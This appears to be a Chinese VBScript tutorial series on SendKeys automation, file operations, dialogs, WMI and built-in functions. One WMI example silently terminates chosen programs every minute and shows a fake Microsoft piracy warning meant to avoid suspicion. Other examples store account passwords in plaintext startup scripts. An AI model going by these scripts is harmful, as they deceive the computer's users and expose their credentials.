Dim WshShellSet WshShell=WScript.CreateObject("WScript.Shell")WshShell.Run "notepad"WScript.Sleep 2000 //本行的含義為是腳本暫停2秒,給notepad一個(gè)打開的時(shí)間,有時(shí)時(shí)間太短可能導(dǎo)致后面的字符無(wú)法進(jìn)入編輯區(qū)WshShell.AppActivate "無(wú)標(biāo)題 - 記事本"//AppActivate為尋找可執(zhí)行程序的標(biāo)題框,"無(wú)標(biāo)題-記事本"內(nèi)容你的自己打開看一下WshShell.SendKeys "hello, welcome to cfan"作業(yè)1:讓腳本自動(dòng)輸入下面兩段小短句This is the most wonderful day of my lifebecause I'm here with you now
作業(yè)2:讓腳本在輸入短句后自動(dòng)關(guān)閉記事本,并保存文件名為"test",注意關(guān)閉記事本可以直接使用組合按鍵Alt+F4來(lái)實(shí)現(xiàn)。
Vbs腳本編程簡(jiǎn)明教程之九——2
妙用SendKeys簡(jiǎn)化重復(fù)操作2
例三:制作能自動(dòng)定時(shí)存盤的記事本
我們最常用的記事本沒(méi)有Word、WPS那樣的自動(dòng)定時(shí)存盤功能,其實(shí)利用VBS腳本再加上SendKeys命令,就能彌補(bǔ)這個(gè)遺憾。打開記事本,輸入以下內(nèi)容(為容易描述和分析,把代碼分為四個(gè)部分):
'第一部分:定義變量和對(duì)象Dim WshShell, AutoSaveTime, TXTFileNameAutoSaveTime=300000Set WshShell=WScript.CreateObject("WScript.Shell")TXTFileName=InputBox("請(qǐng)輸入你要?jiǎng)?chuàng)建的文件名(不能用中文和純數(shù)字):")'第二部分:打開并激活記事本W(wǎng)shShell.Run "notepad"WScript.Sleep 200WshShell.AppActivate "無(wú)標(biāo)題 - 記事本"'第三部分:用輸入的文件名存盤WshShell.SendKeys "^s"WScript.Sleep 300WshShell.SendKeys TXTFileNameWScript.Sleep 300WshShell.SendKeys "%s"WScript.Sleep AutoSaveTime'第四部分:自動(dòng)定時(shí)存盤While WshShell.AppActivate (TXTFileName)=TrueWshShell.SendKeys "^s"WScript.Sleep AutoSaveTimeWendWScript.Quit
將其保存為記事本.vbs,以后要使用記事本時(shí),都通過(guò)雙擊這個(gè)腳本文件來(lái)打開。
程序說(shuō)明:這個(gè)腳本的基本思路是定時(shí)向記事本發(fā)送Ctrl+S這個(gè)存盤組合鍵。
第一部分:定義了腳本中需要用到的變量和對(duì)象。"AutoSaveTime"變量用來(lái)設(shè)置自動(dòng)存盤間隔,單位為毫秒,這里設(shè)置為5分鐘。"TXTFileName"變量通過(guò)輸入框取得你要?jiǎng)?chuàng)建的文本文件名稱。
第二部分:運(yùn)行記事本,對(duì)于Windows本身提供的程序,比如計(jì)算器等,可直接在"WshShell.Run"后輸入程序名稱,如"calc",對(duì)于非系統(tǒng)程序,則可輸入完全路徑,但要注意使用8.3格式輸入,比如""D:\Progra~1\Tencent\QQ.exe""。
第三部分:這里用SendKeys命令執(zhí)行了這樣的操作流程(請(qǐng)注意每個(gè)操作之間延時(shí)命令的使用):在記事本中按Ctrl+S組合鍵→彈出保存文件的窗口→輸入文件名→按Alt+S組合鍵進(jìn)行保存(默認(rèn)保存在"我的文檔"目錄)。
第四部分:定時(shí)存盤的關(guān)鍵,通過(guò)"While……Wend"這個(gè)當(dāng)條件為"真"時(shí)循環(huán)命令,實(shí)現(xiàn)自動(dòng)存盤代碼"WshShell.SendKeys "^s""和定時(shí)代碼"WScript.Sleep AutoSaveTime"的重復(fù)執(zhí)行。因?yàn)椴荒茏屵@個(gè)定時(shí)存盤循環(huán)一直執(zhí)行,退出記事本后,必須自動(dòng)退出腳本并結(jié)束循環(huán),所以設(shè)計(jì)了一個(gè)循環(huán)判斷條件"WshShell.AppActivate TXTFileName=True",當(dāng)記事本運(yùn)行中時(shí),可以激活記事本窗口,這個(gè)條件運(yùn)行結(jié)果為"True",定時(shí)存盤循環(huán)一直執(zhí)行,退出記事本后,腳本無(wú)法激活記事本窗口,就會(huì)跳出循環(huán),執(zhí)行"Wend"后面的"WScript.Quit"退出腳本。
例四:快速登陸QQ軟件。假設(shè)QQ號(hào)碼是:10001,密碼是:123456,隱身登陸:
set ws=wscript.createobject("wscript.shell")
ws.run "C:\Progra~1\Tencent\QQ\QQ.exe",0
wscript.Sleep 2000
ws.AppActivate "QQ用戶登錄"
ws.SendKeys "7015247"
wscript.Sleep 200
ws.SendKeys "{TAB}"
ws.SendKeys "*********"
wscript.Sleep 200
ws.SendKeys "{ENTER}"
例五:關(guān)機(jī)菜單立刻顯身
打開記事本,輸入以下命令,并將其保存為1.vbs:
set WshShell = CreateObject("WScript.Shell")WshShell.SendKeys "^{ESC}u"
雙擊運(yùn)行它,你會(huì)發(fā)現(xiàn)關(guān)機(jī)菜單立刻出現(xiàn)了。
將"WshShell.SendKeys "^{ESC}u""改為"WshShell.SendKeys "^+{ESC}"",運(yùn)行一下看看是否打開了任務(wù)管理器
Vbs腳本編程簡(jiǎn)明教程之九——3
妙用SendKeys自動(dòng)上網(wǎng)并登陸博客3
將下面的腳本復(fù)制到一個(gè)文本文件中,并將其文件名命名為:自動(dòng)登陸.vbs,然后將撥號(hào)軟件及本腳本一起復(fù)制到程序——啟動(dòng)項(xiàng)中,就可以實(shí)現(xiàn)自動(dòng)撥號(hào)上網(wǎng),并登陸到博客上。
代碼如下:
Set wshshell=CreateObject("wscript.shell")
wshshell.AppActivate "連接 MAE-301U 撥號(hào)連接"
wscript.Sleep 20000
wshshell.SendKeys "{enter}"
wshshell.Run "iexplore"
WScript.Sleep 2000
wshshell.AppActivate "hao123網(wǎng)址之家---實(shí)用網(wǎng)址,搜索大全,盡在http://www.hao123.com/ - Microsoft Internet Explorer" '引號(hào)中的內(nèi)容修改為你的瀏覽器打開后標(biāo)題欄中的內(nèi)容
wshshell.SendKeys "%d"
wshshell.SendKeys "http://passport.baidu.com/?login"
wshshell.SendKeys "{enter}"
WScript.Sleep 2000
wshshell.SendKeys "此處修改為博客帳號(hào)"
wshshell.SendKeys "{tab}"
wshshell.SendKeys "此處修改為博客密碼"
wshshell.SendKeys "{enter}"
'wshshell.SendKeys "%d"
Vbs腳本常用的編輯器當(dāng)然是notapad,不過(guò)這個(gè)編輯器的功能當(dāng)然實(shí)在是太弱了一點(diǎn),其實(shí)有很多的專用的腳本編輯器可以大大方便vbs腳本的編寫。我常用的有兩種:
1、VBSEDit漢化版
2、primalscript漢化版,可以對(duì)30多種腳本進(jìn)行編輯
Vbs腳本編程簡(jiǎn)明教程之十一
FSO中文件的基本操作
一、文件屬性:
在windows中,文件的屬性一般用數(shù)字來(lái)表示:
0代表normal,即普通文件未設(shè)置任何屬性。 1代表只讀文件。
2代表隱藏文件。 4代表系統(tǒng)文件。 16代表文件夾或目錄。
32代表存檔文件。 1024代表鏈接或快捷方式。例如:
set fs=wscript.createobject("scripting.filesystemobject") set f=fs.getfile("d:\index.txt") msgbox f.Attributes ‘a(chǎn)ttributes函數(shù)的作用是顯示文件屬性
需要說(shuō)明的是:msgbox顯示的結(jié)果往往不是上面說(shuō)明的數(shù)字,而是有關(guān)屬性代表數(shù)字的和
二、創(chuàng)建文件:object.createtextfile方法,注意創(chuàng)建前一般需要檢查文件是否存在。
例如:
set fso=wscript.createobject("scripting.filesystemobject")
if fso.fileexists("c:\kk.txt") then
msgbox "文件已存在"
else
set f=fso.createtextfile("c:\kk.txt")
end if
如需要強(qiáng)制覆蓋已存在的文件,則在文件名后加true參數(shù)。
三、復(fù)制、移動(dòng)、刪除文件:使用copyfile方法、movefile方法、deletefile方法。例如:
set fso=wscript.createobject("scripting.filesystemobject")
fso.copyfile "c:\kk.txt","d:\1\kk.txt",true //如上文說(shuō)述,true代表強(qiáng)制覆蓋
fso.movefile "c:\kk.txt", "d:\" //移動(dòng)文件
fso.deletefile "c:\kk.txt" //刪除文件
四、文件的讀寫:
1、打開文件:使用opentextfile方法如:set ts=fso.opentextfile("c:\kk.txt",1,true) 說(shuō)明:第二個(gè)參數(shù)為訪問(wèn)模式1為只讀、2寫入、8為追加第三個(gè)參數(shù)指定如文件不存在則創(chuàng)建。2、讀取文件:read(x)讀x個(gè)字符;readline讀一行;readall全部讀取如:set ffile=fso.opentextfile("c:\kk.txt",1,true)value=ffile.read(20)line=ffile.readlinecontents=ffile.readall
3、常見的指針變量:
atendofstream屬性:當(dāng)處于文件結(jié)尾的時(shí)候這個(gè)屬性返回true。一般用循環(huán)檢測(cè)是否到達(dá)文件末尾。例如:
do while ffile.atendofstream<>true
ffile.read(10)
loop
atendofline屬性:如果已經(jīng)到了行末尾,這個(gè)屬性返回true。
Column屬性(當(dāng)前字符位置的列號(hào))和line屬性(文件當(dāng)前行號(hào)):在打開一個(gè)文件后,行和列指針都被設(shè)置為1。
4、在文件中跳行:skip(x) 跳過(guò)x個(gè)字符;skipline 跳過(guò)一行
5、在文件中寫入字符:可以用2-寫入和8-追加的方式來(lái)寫入
其方法有:write(x)寫入x字符串;writeline(x)寫入x代表的一行
writeblanklines(n) 寫入n個(gè)空行
注意:最后一定要使用close方法關(guān)閉文件,讀文件后一定要關(guān)閉,才能以寫的方式打開。
Vbs腳本編程簡(jiǎn)明教程之十二
使用系統(tǒng)對(duì)話框
在VBS腳本設(shè)計(jì)中,如果能使用windows提供的系統(tǒng)對(duì)話框,可以簡(jiǎn)化腳本的使用難度,使腳本人性化許多,很少有人使用,但VBS并非不能實(shí)現(xiàn)這樣的功能,方法當(dāng)然還是利用COM對(duì)象。
1、SAFRCFileDlg.FileSave對(duì)象:屬性有:FileName — 指定默認(rèn)文件名;FileType — 指定文件擴(kuò)展名;OpenFileSaveDlg — 顯示文件保存框體方法。2、SAFRCFileDlg.FileOpen 對(duì)象:FileName — 默認(rèn)文件名屬性;OpenFileOpenDlg — 顯示打開文件框體方法。3、UserAccounts.CommonDialog對(duì)象:Filter — 擴(kuò)展名屬性("vbs File|*.vbs|All Files|*.*");FilterIndex — 指定InitialDir — 指定默認(rèn)的文件夾FileName — 指定的文件名Flags — 對(duì)話框的類型Showopen方法:
很簡(jiǎn)單,ok,讓我們來(lái)舉兩個(gè)簡(jiǎn)單的例子:
例一:保存文件
Set objDialog = CreateObject("SAFRCFileDlg.FileSave")
Set objFSO = CreateObject("Scripting.FileSystemObject")
objDialog.FileName = "test"
objDialog.FileType = ".txt"
intReturn = objDialog.OpenFileSaveDlg
If intReturn Then
objFSO.CreateTextFile(objDialog.FileName & objdialog.filetype)
Else
Wscript.Quit
End If
注意:1、SAFRCFileDlg.FileSave對(duì)象僅僅是提供了一個(gè)方便用戶選擇的界面,本身并沒(méi)有保存文件的功能,保存文件還需要使用FSO對(duì)象來(lái)完成。2、用FileType屬性來(lái)指定默認(rèn)的文件類型。3、在調(diào)用OpenFileSaveDlg方法時(shí),最好把返回值保存到一變量中,用它可以判斷用戶按下的是確定還是取消。
例二:.打開文件
set objFile = CreateObject("SAFRCFileDlg.FileOpen")
intRet = objFile.OpenFileOpenDlg
if intret then
msgbox "文件打開成功!文件名為:" & objFile.filename
else
wscript.quit
end if
例三:比較復(fù)雜的打開文件對(duì)話框
Set objDialog = CreateObject("UserAccounts.CommonDialog")
objDialog.Filter = "vbs File|*.vbs"
objDialog.InitialDir = "c:\"
tfile=objDialog.ShowOpen
if tfile then
strLoadFile = objDialog.FileName
msgbox strLoadFile
else
wscript.quit
end if
說(shuō)明:在腳本中加入 objDialog.Flags = &H020 看看會(huì)出現(xiàn)什么結(jié)果
Vbs腳本編程簡(jiǎn)明教程之十三——1
WMI基礎(chǔ)之一
WMI即Windows 管理規(guī)范,是用戶管理本地和遠(yuǎn)程計(jì)算機(jī)的一種模型。通過(guò)它可以訪問(wèn)、配置、管理和監(jiān)視幾乎所有的 Windows 資源。WMI的語(yǔ)法十分簡(jiǎn)單,基本上常見的命名空間、對(duì)象等用幾乎一模一樣。它對(duì)應(yīng)的是Windows里的WMI服務(wù)(winmgmt)。
一、WMI的起源
幾年前,幾家資深的計(jì)算機(jī)公司由于系統(tǒng)管理領(lǐng)域缺少標(biāo)準(zhǔn),委托DMTF啟動(dòng)了CIM(通用信息模型)項(xiàng)目,理想的CIM是一種不受限制于任何特定實(shí)現(xiàn)環(huán)境的管理工具。WMI是CIM的微軟實(shí)現(xiàn),它有很多類是從CIM中派生出來(lái)的。
二、WMI的命名空間
那么命名空間是做什么作用的呢?我簡(jiǎn)單這樣說(shuō),在同一段代碼中,如果有兩個(gè)變量或函數(shù)的名字完全相同,就會(huì)出現(xiàn)沖突。命名空間就是為解決變量、函數(shù)的命名沖突而服務(wù)的。解決的辦法就是將你的變量定義在一個(gè)不同名字的命名空間中。就好像財(cái)政局有個(gè)張三,公安局也有個(gè)張三,但我們清楚,就是因?yàn)樗麄兎謱俨煌膯挝弧S行┑胤娇赡懿惶珳?zhǔn)確,但大致意思就是這樣了。
WMI的命名空間創(chuàng)建了一個(gè)層次結(jié)構(gòu),有點(diǎn)類似于我們的目錄文件結(jié)構(gòu)。
1、 root-作為所有其他名字的占位符;2、 root\default-與注冊(cè)表操作有關(guān)的類;3、 root\security-與系統(tǒng)安全有關(guān)的類;4、 root\cimv2-從CIM派生的類,代表我們最常用的工作環(huán)境。
三、WMI的對(duì)象路徑
WMI的對(duì)象路徑用來(lái)在CIM庫(kù)中定位類和它的事例,對(duì)象路徑用兩個(gè)反斜杠\開頭,第一個(gè)元素是目標(biāo)計(jì)算機(jī)的名字,第二個(gè)元素是相應(yīng)的WMI命名空間,第三個(gè)元素是相應(yīng)的類名,并用 : 將它與命名空間分隔開來(lái)。例如:\..\root\cimv2:win32_service
其中那個(gè) . 代表是本地系統(tǒng)。
四、WMI的查詢語(yǔ)言——WQL僅僅是ANSI SQL的一個(gè)子集,只能用于數(shù)據(jù)的提取。
數(shù)據(jù)、事件查詢的基本語(yǔ)法為:
Select pro1 , pro2 , pro3 from myclass(myclassevent)
例如:Select name , path from Win32_share 說(shuō)明:列出所有共享的名稱和路徑
也可以使用通配符 * ,例如:Select * from Win32_share
關(guān)鍵字Where 用于限定查詢的范圍。
例如:Select * from Win32_share where name="Admin"
五、WMI腳本中使用的三個(gè)步驟
步驟 1:連接到 WMI 服務(wù)
在任何 WMI 腳本中,第一個(gè)步驟都是建立一個(gè)到目標(biāo)計(jì)算機(jī)上的 Windows 管理服務(wù)的連接。方法是調(diào)用 VBScript 的 Getobject 函數(shù)并將 WMI 腳本庫(kù)的名字對(duì)象的名稱(即"winmgmts:",后跟目標(biāo)計(jì)算機(jī)的名稱)傳遞到 Getobject,并返回一個(gè)對(duì)象的引用,此時(shí),您就可以調(diào)用其提供的方法如:InstancesOf,正如方法名所示,InstancesOf 返回由資源的類名標(biāo)識(shí)的托管資源的所有實(shí)例。
步驟 2:檢索 WMI 托管資源的實(shí)例
一般采用WQL來(lái)實(shí)現(xiàn)。
步驟 3:顯示 WMI 托管資源的屬性
最后一個(gè)步驟是枚舉 檢索得到集合的內(nèi)容。一般采用
For each enum in myclass
……
Next 結(jié)構(gòu)來(lái)實(shí)現(xiàn)。
六、WMI 測(cè)試器 (wbemtest.exe)驗(yàn)證腳本執(zhí)行結(jié)果
現(xiàn)在,您對(duì)可用于瀏覽和查看 CIM 的工具已經(jīng)有了一些認(rèn)識(shí),讓我們使用 WMI 測(cè)試器 (wbemtest.exe) 來(lái)檢查 Win32_Process 類定義,以便從在您的本地計(jì)算機(jī)上運(yùn)行的進(jìn)程檢索一些屬性。
1.打開一個(gè)命令提示,鍵入 C:\>wbemtest.exe,按下 Enter 來(lái)開始 WMI 測(cè)試器工具。請(qǐng)注意,大部分按鈕在主 WMI 測(cè)試器窗口上是被禁用的,這說(shuō)明此時(shí)您沒(méi)有連接到 WMI。
2.單擊 "連接"按鈕 連接到本地或遠(yuǎn)程計(jì)算機(jī)上的 WMI 服務(wù)。顯示"連接"對(duì)話框,它提供一個(gè)標(biāo)記為 名稱空間 的文本輸入?yún)^(qū)域,該區(qū)域默認(rèn)值為 root\default。將 名稱空間 區(qū)域的值更改為 root\cimv2,單擊"連接"對(duì)話框的 連接 按鈕返回到主 WMI 測(cè)試器窗口。
3.主窗口中左上角的命名空間標(biāo)識(shí)符應(yīng)該顯示為 root\cimv2。請(qǐng)注意,所有的按鈕現(xiàn)在都已啟用,這說(shuō)明在當(dāng)前憑據(jù)環(huán)境下,您已經(jīng)成功連接到本地主機(jī)上的 WMI。單擊 枚舉類別 打開"超類信息"對(duì)話框。
4.在"超類信息"對(duì)話框中,不要填寫 輸入超類別名稱 區(qū)域,單擊 遞歸 選項(xiàng),單擊 確定 以枚舉 root\cimv2 名稱空間中定義的所有 CIM 類。
請(qǐng)注意,列于"查詢結(jié)果"對(duì)話框頂部的類是以兩個(gè)下劃線為開頭的。這些是系統(tǒng)類。系統(tǒng)類是預(yù)定義的 CIM 類,支持內(nèi)部 WMI 配置與操作,例如提供程序注冊(cè)、命名空間安全性及事件通知等。現(xiàn)在,忽略系統(tǒng)類,向下滾動(dòng)"查詢結(jié)果"對(duì)話框直至看到以 CIM_ 開頭的類。名稱以 CIM_ 開頭的類是由 DMTF 維護(hù)的核心與公共基類。繼續(xù)向下滾動(dòng)直至到達(dá)以 Win32_ 開頭的類。 名稱以 Win32_ 開頭的類是 Microsoft 擴(kuò)展類,表示 Windows 特定的托管資源。如果這是您第一次檢查 root\cimv2 命名空間,您可能希望熟悉root\cimv2 命名空間中的類的完整集合,尤其是有 Win32_ 前綴的類。
5.向下滾動(dòng)"查詢結(jié)果"對(duì)話框直至到達(dá) Win32_Process 類,雙擊該類名打開 Win32_Process 對(duì)話框的對(duì)象編輯器。
6."對(duì)象編輯器"對(duì)話框顯示被選定類的定義和實(shí)現(xiàn)的詳細(xì)信息(屬性和方法)。選擇 Hide System Properties 復(fù)選框隱藏系統(tǒng)屬性。剩余的 Win32_Process 屬性表示您可以從在本地或遠(yuǎn)程計(jì)算機(jī)上運(yùn)行的進(jìn)程檢索的信息。
運(yùn)行如下代碼:
strComputer = "."
Set wbemServices = Getobject("winmgmts:\\" & strComputer)
Set wbemObjectSet = wbemServices.InstancesOf("Win32_Process")
For Each wbemObject In wbemObjectSet
WScript.Echo "Name: " & wbemObject.Name & vbCrLf & _
" Handle: " & wbemObject.Handle & vbCrLf & _
" Process ID: " & wbemObject.ProcessID
Next
7.在運(yùn)行腳本之后,您可以用 WIMI 測(cè)試器驗(yàn)證腳本的結(jié)果。在 Win32_Process 對(duì)話框的對(duì)象編輯器中,單擊 Instances。產(chǎn)生的查詢結(jié)果對(duì)話框列出在計(jì)算機(jī)上運(yùn)行的進(jìn)程的實(shí)例。雙擊一個(gè)指定的進(jìn)程實(shí)例,查看該實(shí)例的詳細(xì)信息。
Vbs腳本編程簡(jiǎn)明教程之十三——2
WMI基礎(chǔ)之二—阻止客人運(yùn)行你不想運(yùn)行的程序
很多人都有這樣的經(jīng)驗(yàn),剛剛裝好的系統(tǒng),讓人運(yùn)行了一些你不想他運(yùn)行的程序,比如說(shuō)QQ,又是聊天,又是下載表情,不過(guò)一會(huì),流氓插件、病毒、木馬已經(jīng)盤踞了你的計(jì)算機(jī),常常是忍痛將這個(gè)程序卸載,可是不知情的人很自覺(jué)的下載安裝,使整個(gè)系統(tǒng)無(wú)法正常運(yùn)行。
其實(shí)用vbs和wmi結(jié)合起來(lái),使你的計(jì)算機(jī)上有相應(yīng)的程序安裝,別人又無(wú)法運(yùn)行起來(lái)太容易了,現(xiàn)在給出代碼:
On Error Resume Next '忽略所有的錯(cuò)誤
Dim bag,pipe,honker,good
Do
good="." '定義為本地計(jì)算機(jī)
set bag=getobject("winmgmts:\\"& good &"\root\cimv2") 'l連接到cimv2命名空間
set pipe=bag.execquery("select * from win32_process where name='qq.exe' or name='qqgame.exe' or name='winmine.exe'") '看,這是我的計(jì)算機(jī)上不允許運(yùn)行的程序,qq、qqgame、winmine(掃雷)如果你還有其他的程序不允許運(yùn)行,很簡(jiǎn)單,在其中添加 or name='你不允許運(yùn)行的程序名'
for each i in pipe
i.terminate()
msgbox "發(fā)現(xiàn)盜版系統(tǒng),現(xiàn)已進(jìn)行功能限制!" & vbcrlf & "請(qǐng)使用正版軟件!",,"微軟提示" '此行其實(shí)可有可無(wú),有這行只是為了免去懷疑
next
wscript.sleep 60000 '每1分鐘檢測(cè)一次
loop
那么如果我自己想運(yùn)行這些程序該怎么辦呢,很簡(jiǎn)單,Ctrl+Alt+Del三個(gè)鍵齊按,打開windows任務(wù)管理器,在進(jìn)程中結(jié)束Wscript.exe和wmiprvse.exe進(jìn)程的運(yùn)行就可以了
Vbs腳本編程簡(jiǎn)明教程之十四
使用dictionary對(duì)象
VBS中存在一個(gè)特殊的對(duì)象-dictionnary,是一個(gè)集合對(duì)象。一般情況霞,我把這個(gè)特殊的集合想象為數(shù)組,可以使用其中內(nèi)建的函數(shù)完成存儲(chǔ)和操縱數(shù)據(jù)等基本任務(wù),無(wú)須擔(dān)心數(shù)據(jù)是在哪些行列,而是使用唯一的鍵進(jìn)行訪問(wèn)或者是一個(gè)只能運(yùn)行在內(nèi)存中的數(shù)據(jù)庫(kù),并只有兩個(gè)字段分別是:key和item,在使用中,字段key是索引字段。
set sdict=CreateObject("Scripting.Dictionary")
sdict.add "a","apple"
sdict.add "b","banana"
sdict.add "c","copy"
for each key in sdict.keys
msgbox "鍵名" & key & "是" & " = " & sdict (key)
next
sdict.removeall
這個(gè)腳本很簡(jiǎn)單,就是定義了一個(gè) dictionary 對(duì)象的實(shí)例sdict,并加入了三條數(shù)據(jù),然后對(duì)每一條數(shù)據(jù)進(jìn)行了枚舉,最后,將對(duì)象的實(shí)例清空。
Dictionary 對(duì)象的成員概要
屬性和說(shuō)明
CompareMode 設(shè)定或返回鍵的字符串比較模式Count 只讀。返回 Dictionary 里的鍵/條目對(duì)的數(shù)量Item(key) 設(shè)定或返回指定的鍵的條目值Key(key) 設(shè)定鍵值
方法和說(shuō)明
Add(key,item) 增加鍵/條目對(duì)到 DictionaryExists(key) 如果指定的鍵存在,返回 True,否則返回 FalseItems() 返回一個(gè)包含 Dictionary 對(duì)象中所有條目的數(shù)組Keys() 返回一個(gè)包含 Dictionary 對(duì)象中所有鍵的數(shù)組Remove(key) 刪除一個(gè)指定的鍵/條目對(duì)RemoveAll() 刪除全部鍵/條目對(duì)Vbs腳本編程簡(jiǎn)明教程之十五——1VBS內(nèi)置函數(shù)之一Abs 函數(shù):返回?cái)?shù)的絕對(duì)值。 Array 函數(shù):返回含有數(shù)組的變體。 Asc 函數(shù):返回字符串首字母的 ANSI 字符碼。 Atn 函數(shù):返回?cái)?shù)值的反正切。 CBool 函數(shù):返回已被轉(zhuǎn)換為 Boolean 子類型的變體的表達(dá)式。 CByte 函數(shù):返回已被轉(zhuǎn)換為字節(jié)子類型的變體的表達(dá)式。 CCur 函數(shù):返回已被轉(zhuǎn)換為貨幣子類型的變體的表達(dá)式。 CDate 函數(shù):返回已被轉(zhuǎn)換為日期子類型的變體的表達(dá)式。 CDbl 函數(shù):返回已被轉(zhuǎn)換為雙精度子類型的變體的表達(dá)式。 Chr 函數(shù):返回與指定的 ANSI 字符碼相關(guān)的字符。 CInt 函數(shù):返回已被轉(zhuǎn)換為整形子類型的變體的表達(dá)式。 CLng 函數(shù);返回已被轉(zhuǎn)換為L(zhǎng)ong子類型的變體的表達(dá)式。 Cos 函數(shù):返回角度的余弦。 CreateObject 函數(shù):創(chuàng)建并返回對(duì)"自動(dòng)"對(duì)象的引用。 CSng 函數(shù):返回已被轉(zhuǎn)換為單精度子類型的變體的表達(dá)式。 CStr 函數(shù):返回已被轉(zhuǎn)換為字符串子類型的變體的表達(dá)式。 Date 函數(shù):返回當(dāng)前系統(tǒng)日期。 DateAdd 函數(shù):返回的日期已經(jīng)加上了指定的時(shí)間間隔。 DateDiff 函數(shù):返回兩個(gè)日期之間的間隔。 DatePart 函數(shù):返回給定日期的指定部分。 DateSerial 函數(shù):返回指定年月日的日期子類型的變體。 Datevalue 函數(shù):返回日期子類型的變體。 Day 函數(shù):返回日期,取值范圍為 1 至 31。 Eval 函數(shù):計(jì)算表達(dá)式并返回結(jié)果。 Exp 函數(shù):返回 e (自然對(duì)數(shù)的底) 的多少次方。 Filter 函數(shù):根據(jù)指定的篩選條件,返回含有字符串?dāng)?shù)組子集的、下限為 0 的數(shù)組。 Fix 函數(shù):返回?cái)?shù)的整數(shù)部分。 FormatCurrency 函數(shù):返回的表達(dá)式為貨幣值格式,其貨幣符號(hào)采用系統(tǒng)控制面板中定義的。 FormatDateTime 函數(shù):返回的表達(dá)式為日期和時(shí)間格式。 FormatNumber 函數(shù):返回的表達(dá)式為數(shù)字格式。 FormatPercent 函數(shù):返回的表達(dá)式為百分?jǐn)?shù)(乘以 100)格式,后面有 % 符號(hào)。 GetObject 函數(shù):返回從文件對(duì)"自動(dòng)"對(duì)象的引用。 GetRef 函數(shù):返回對(duì)能夠綁定到一事件的過(guò)程的引用。 Hex 函數(shù):返回一字符串,代表一個(gè)數(shù)的十六進(jìn)制值。 Hour 函數(shù):返回表示鐘點(diǎn)的數(shù)字,取值范圍為 0 至 23。 InputBox 函數(shù):在對(duì)話框中顯式一提示,等待用戶輸入文本或單擊按鈕,并返回文本框的內(nèi)容。 InStr 函數(shù):返回一個(gè)字符串在另一個(gè)字符串中首次出現(xiàn)的位置。 InStrRev 函數(shù);返回一個(gè)字符串在另一個(gè)字符串中出現(xiàn)的位置,但是從字符串的尾部算起。VBS內(nèi)置函數(shù)之二Int 函數(shù):返回?cái)?shù)的整數(shù)部分。 IsArray 函數(shù):返回 Boolean 值,反映變量是否為數(shù)組。 IsDate 函數(shù):返回 Boolean 值,反映表達(dá)式能否轉(zhuǎn)換為日期。 IsEmpty 函數(shù):返回 Boolean 值,反映變量是否已被初始化。 IsNull 函數(shù):返回 Boolean 值,反映表達(dá)式是否含有無(wú)效數(shù)據(jù)(Null)。 IsNumeric 函數(shù):返回 Boolean 值,反映表達(dá)式能否轉(zhuǎn)換為數(shù)字。 IsObject 函數(shù):返回 Boolean 值,反映表達(dá)式是否引用了有效的"自動(dòng)"對(duì)象。 Join 函數(shù):返回通過(guò)連接許多含有數(shù)組的子串而創(chuàng)建的字符串。 LBound 函數(shù);返回指定維數(shù)數(shù)組的最小有效下標(biāo)。 LCase 函數(shù):返回的字符串已被轉(zhuǎn)換為小寫字母。 Left 函數(shù):返回字符串最左邊的指定數(shù)量的字符。 Len 函數(shù):返回字符串中的字符數(shù)或存儲(chǔ)變量所需的字節(jié)數(shù)。 LoadPicture 函數(shù):返回圖片對(duì)象。只用于 32 位平臺(tái)。 Log 函數(shù):返回?cái)?shù)的自然對(duì)數(shù)。 LTrim 函數(shù);返回去掉前導(dǎo)空格的字符串。 Mid 函數(shù):從字符串中返回指定數(shù)量的字符。 Minute 函數(shù):返回分鐘數(shù),取值范圍為 0 至 59。 Month 函數(shù):返回表示月份的數(shù),取值范圍為 1 至 12。 MonthName 函數(shù):返回表示月份的字符串。 MsgBox 函數(shù):在對(duì)話框中顯示消息,等待用戶單擊按鈕,并返回表示用戶所擊按鈕的數(shù)值。 Now 函數(shù):返回計(jì)算機(jī)的當(dāng)前系統(tǒng)日期和時(shí)間。 Oct 函數(shù):返回表示該數(shù)八進(jìn)制數(shù)值的字符串。 Replace 函數(shù):返回一字符串,其中指定的子串已被另一個(gè)子串替換了規(guī)定的次數(shù)。 RGB 函數(shù):返回代表 RGB 顏色值的數(shù)字。 Right 函數(shù):返回字符串最右邊的指定數(shù)量的字符。 Rnd 函數(shù):返回隨機(jī)數(shù)。 Round 函數(shù):返回指定位數(shù)、四舍五入的數(shù)。 RTrim 函數(shù):返回去掉尾部空格的字符串副本。 ScriptEngine 函數(shù):返回反映使用中的腳本語(yǔ)言的字符串。 ScriptEngineBuildVersion 函數(shù):返回使用中的腳本引擎的編譯版本號(hào)。 ScriptEngineMajorVersion 函數(shù):返回使用中的腳本引擎的主版本號(hào)。 ScriptEngineMinorVersion 函數(shù):返回使用中的腳本引擎的次版本號(hào)。 Second 函數(shù):返回秒數(shù),取值范圍為 0 至 59。VBS內(nèi)置函數(shù)之三Sgn 函數(shù):返回反映數(shù)的符號(hào)的整數(shù)。Sin 函數(shù):返回角度的正弦值。Space 函數(shù):返回由指定數(shù)量的空格組成的字符串。Split 函數(shù):返回下限為 0 的、由指定數(shù)量的子串組成的一維數(shù)組。Sqr 函數(shù):返回?cái)?shù)的平方根。 StrComp 函數(shù):返回反映字符串比較結(jié)果的數(shù)值。String 函數(shù):返回指定長(zhǎng)度的重復(fù)字符串。StrReverse 函數(shù):返回一字符串,其中字符的順序與指定的字符串中的順序相反。Tan 函數(shù):返回角度的正切值。Time 函數(shù):返回表示當(dāng)前系統(tǒng)時(shí)間的"日期"子類型的"變體"。Timer 函數(shù):返回時(shí)經(jīng)子夜 12:00 AM 后的秒數(shù)。TimeSerial 函數(shù):返回含有指定時(shí)分秒時(shí)間的日期子類型的變體。Timevalue 函數(shù):返回含有時(shí)間的日期子類型的變體。Trim 函數(shù):返回去掉前導(dǎo)空格或尾部空格的字符串副本。TypeName 函數(shù):返回一字符串,它提供了關(guān)于變量的變體子類型信息。UBound 函數(shù):返回指定維數(shù)數(shù)組的最大有效下標(biāo)。UCase 函數(shù):返回的字符串已經(jīng)被轉(zhuǎn)換為大寫字母。VarType 函數(shù):返回標(biāo)識(shí)變體子類型的數(shù)值。Weekday 函數(shù):返回表示星期幾的數(shù)值。WeekdayName 函數(shù):返回表示星期幾的字符串。Year 函數(shù):返回表示年份的數(shù)值。vbs病毒的簡(jiǎn)單例子源代碼解析
